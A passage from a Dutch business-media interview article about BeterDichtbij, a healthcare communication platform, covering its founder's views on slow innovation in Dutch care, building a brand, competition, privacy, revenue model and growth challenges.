Zoals gezegd is de zorgsector in Nederland behoorlijk traditioneel. Volgens Bogaerts komt dat door het feit dat er eigenlijk geen tijd en ruimte voor reflectie is, het is volgens hem zeker geen onwil dat er maar weinig gebruik wordt gemaakt van de nieuwe mogelijkheden die er zijn. Daarnaast kent de zorg een lange traditie van bewijsvoering, waarbij alles een uitgebreid onderzoekstraject nodig heeft en wetenschappelijk onderbouwd moet worden. Zo zat er bijvoorbeeld 20 jaar tussen de uitvinding en de lancering van de thermometer. Bogaerts: “Ik kom zelf niet uit deze sector, dus ik heb hier niet zo’n last van en ik denk ook niet dat het nodig is.” Het gaat hier tenslotte om communicatie en niet om nieuwe medicatie of experimentele behandelmethoden. Bovendien lost BeterDichtbij een heel concreet en actueel probleem op voor zowel de zorgverlener als de patiënt, of “consument” zoals Bogaerts ze liever noemt: het verlicht de druk op de zorgverleners en biedt de patiënt – pardon, consument – gemak en toegankelijkheid.

“Hou je lef vast, trek de stoute schoenen en pitch je idee! De zorg heeft het nodig.”

De ANWB van de zorg

Op het moment zijn slechts een handvol van de 6000 huisartsen die Nederland rijk is op zijn dienst aangesloten, maar als het aan Bogaerts ligt worden dat er in de (nabije) toekomst veel meer. Niet alleen omdat dat voor hen zelf ontzettend handig is en hun zorglast aanzienlijk kan verminderen, maar ook omdat hij graag het label ‘software platform’ wil ontstijgen en echt een merk wil worden. “Het moet een soort ANWB van de zorg worden. Dus als je iets met de zorg wil, dat je meteen aan BeterDichtbij denkt,” aldus een enthousiaste Bogaerts. Maar wat is dan het verschil tussen een platform lanceren en een merk in de markt zetten? Volgens Bogaerts mag je met een software platform “aansluiten in de rij van IT-leveranciers”, maar met een merk creëer je iets waar mensen bij willen horen: “Dan krijg je een beetje het gevoel van ‘die en die gebruikt het ook, moeten wij dat ook niet doen?’” Bovendien creëer je met een merk ook meer draagvlak binnen het ziekenhuis of de huisartsenpraktijk waar de dienst gebruikt wordt, omdat de consumenten het dan hebben ervaren bij de ene arts en er dan bij de volgende arts zelf om vragen.

User-centered zorg

BeterDichtbij lijkt heel gericht op de zorgverleners, maar is volgens Bogaerts vooral user-centered, ondanks het feit dat de consument er (nog) niet zelf voor kan kiezen om zich aan te sluiten bij BeterDichtbij. Bogaerts: “We willen ons niet laten leiden door wat de zorgverlener wil, maar door de consument.” Hij is er namelijk van overtuigd dat de consument leidend is in de grootste innovaties die we meemaken, zoals bij de voorbeelden uit de inleiding, en denkt dan ook dat als de consument eenmaal andere eisen aan de zorg gaat stellen, het “echt interessant” kan gaan worden. Deze focus op persoonlijke aandacht is wat BeterDichtbij onderscheidt van de concurrentie.

“De sleutel tot innovatie in de gezondheidszorg ligt bij de consument.”

Zo is er bijvoorbeeld het Engelse Babylon Health dat in het Verenigd Koninkrijk en in een aantal Afrikaanse landen flink aan de weg timmert. Hoewel Bogaerts erkent dat dit een grote speler is en BeterDichtbij vaart moet maken om hen voor te zijn met de verovering van Nederland, maakt hij zich geen zorgen: “Onze pay-off is de kracht van de relatie tussen de consument en de zorgverlener en daar gaan we op inzetten. Wij kennen al die huisartsen en ziekenhuizen en zorgverzekeraars, zij niet.” Daarnaast is BeterDichtbij ook zeer goed op de hoogte van de AVG wetgeving omtrent privacy in Nederland, iets waar een buitenlandse partij zich nog helemaal in zou moeten verdiepen. Sowieso is privacy een belangrijk thema binnen BeterDichtbij en is het allemaal zeer goed geregeld wat betreft het proces, de techniek en de uitwerking van verantwoordelijkheden.

BeterDichtbij

De smart watch als verdienmodel

Maar hoe verdient BeterDichtbij dan geld? Bogaerts: “Nu worden wij betaald door de zorgorganisaties, huisartsen en ziekenhuizen die met ons meedoen. Die betalen voor een jaarlijkse licentie.” Hij vermoedt dat dat de komende jaren niet zal veranderen, maar denkt dat de consument misschien wel een nieuwe bron van inkomsten kan worden in de toekomst. BeterDichtbij gaat waarschijnlijk hun pakket uitbreiden met diensten speciaal voor de consument. Denk hierbij aan informatie die verzameld wordt door een smart watch die direct wordt doorgespeeld aan de huisarts. BeterDichtbij gebruikt nu nog geen data van consumenten, ziekenhuizen en artsen, maar houdt er wel rekening mee dat dat in de toekomst een mogelijkheid is. Bogaerts maakt hier wel de kanttekening bij dat het belangrijk is om evenwicht te vinden tussen hoeveel je wilt weten, wat je allemaal kunt meten en wat je dan met die informatie gaat doen. Zoals hij zelf zegt: “Het lichaam is een mooi mechanisme, maar we hoeven niet alle data points binnen te halen.”

Hobbels & groei

BeterDichtbij groeit snel, nog maar een paar ziekenhuizen en dan is het bedrijf definitief winstgevend. Maar ging en gaat alles dan ook van een leien dakje? Kort gezegd: nee. BeterDichtbij is tot stand gekomen met de hulp en (financiële) ondersteuning van 28 ziekenhuizen. Zoals je je voor kunt stellen, was het lastig om met 28 verschillende partijen op één lijn te krijgen, zelfs als die zijn vertegenwoordigd door een stichting zoals hier het geval is. Daarnaast kostte het Bogaerts ook nogal wat moeite om de eerste klant binnen te halen: “Je team is net nieuw, je techniek is net nieuw, je platform is nog niet bekend. Iemand moet dan durven om mee te doen.” Ook heeft hij op het moment te maken met groeistuipen, “een luxeprobleem,” zoals hij zelf zegt. Het bedrijf groeit enorm hard, maar hij vindt het nog lastig om die groei bij te benen in de organisatie en met de interne processen.

En ook al is het soms lastig, iedere ondernemer droomt ervan dat zijn/haar organisatie groeit en groot wordt. Bogaerts heeft een bijzonder systeem ontwikkeld om de groei-roadmap van BeterDichtbij te kunnen managen en ervoor te zorgen dat de meest nuttige backlog-items prioriteit krijgen: “Wij hebben een formule ontwikkeld die gebaseerd is op visie, gebruikers en schaal. Hoe meer het bijdraagt aan deze factoren, hoe hoger de plek op de prioriteitenlijst.”

Te snel?

Het is heel duidelijk dat Bogaerts enorm gepassioneerd, enthousiast en gedreven is. Frustreert het hem dan niet dat de zorg zo traag is en innovaties langzaam oppikt? Ja en nee. Ja, omdat hij graag snel wil en hij telkens maar kleine stappen kan maken, maar ook nee, omdat de impact van BeterDichtbij heel groot is. Hij kan wel eens ontmoedigd raken als hij door een IT-manager van een ziekenhuis de deur gewezen wordt, terwijl er een wachtkamer vol consumenten zit die enorm veel baat bij de dienst zouden hebben, maar dat leed wordt altijd snel verzacht door de vele dankbrieven die hij krijgt van zowel zorgverleners als consumenten. “Dat houd me gedreven, de consument,” aldus Bogaerts.

Lef

Wat betreft tips voor innovative leaders heeft Bogaerts er nog wel een paar. De eerste is “doe het liever niet alleen, samen kom je verder”. Hij vervolgt met “probeer je eigen drive om te zetten in een duidelijke visie voor je merk”. Zo was hij al na drie weken bezig met de merkwaarden van BeterDichtbij en keek of nieuwe medewerkers daarop aansloten. Tot slot heeft Bogaerts nog een oproep voor iedereen in de zorg of ondernemers die een goed idee hebben voor de zorg: “Hou je lef vast, trek de stoute schoenen en pitch je idee! De zorg heeft het nodig.”

Wil je na het lezen van dit artikel meer weten over moderne veranderingen in de zorg? Download dan de whitepaper ‘User-centered zorg: Overbrug de kloof tussen patiënt en zorgverlener met slimme technologie.’

Over de auteur: Remmert Stipdonk is chief executive officer bij INFO.



Lees het volledige bericht op Emerce »